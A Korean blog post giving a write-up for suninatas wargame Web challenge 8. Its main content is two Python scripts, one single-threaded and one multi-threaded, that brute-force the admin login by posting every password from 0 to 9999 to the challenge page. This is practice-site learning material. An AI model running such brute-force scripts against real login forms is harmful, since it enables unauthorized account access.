write-up(web)/misc

[suninatas] WEB 8

chanchand 2023. 10. 26. 23:12
반응형

문제


 

 

Game 08

 

suninatas.com

 

 

문제풀이


힌트를 보면 아이디는 admin, 비밀번호는 0-9999 사이의 숫자이다.

<!-- Hint : Login 'admin' Password in 0~9999 -->

 

burp suite intruder 기능을 이용할 수 있다.

시간이 오래 걸려서 파이썬 코드로 작성했다.

import requests

url = "http://suninatas.com/challenge/web08/web08.asp"
params = {'id':'admin', 'pw':1}

for i in range(0, 9999):
        params['pw'] = i
        res = requests.post(url, data = params)
        if res.text.find("Incorrect") == -1:
                print(i)
                break

 

- threading

import requests
import threading

url = "http://suninatas.com/challenge/web08/web08.asp"
params = {'id':'admin', 'pw':1}

success_password = None

# 비밀번호 공격 함수
def brute_force_password(start, end):
    global success_password
    for i in range(start, end):
        if success_password:
            break  # 이미 성공한 경우 다른 스레드들 중지
        params['pw'] = i
        res = requests.post(url, data=params)
        if res.text.find("Incorrect") == -1:
            success_password = i

# 스레드 수
num_threads = 4  
threads = []

# 범위를 분할하고 스레드 생성
for i in range(num_threads):
    start = i * (9999 // num_threads)
    end = (i + 1) * (9999 // num_threads) if i < num_threads - 1 else 9999
    thread = threading.Thread(target=brute_force_password, args=(start, end))
    threads.append(thread)
    thread.start()

# 모든 스레드 종료 대기
for thread in threads:
    thread.join()

if success_password is not None:
    print(f"비밀번호 : {success_password}")

 

반응형

'write-up(web) > misc' 카테고리의 다른 글

[suninatas] WEB 23  (0) 2023.10.27
[suninatas] WEB 22  (0) 2023.10.27
[suninatas] WEB 7  (0) 2023.10.26
[suninatas] WEB 6  (0) 2023.10.26
[suninatas] WEB 5  (1) 2023.10.26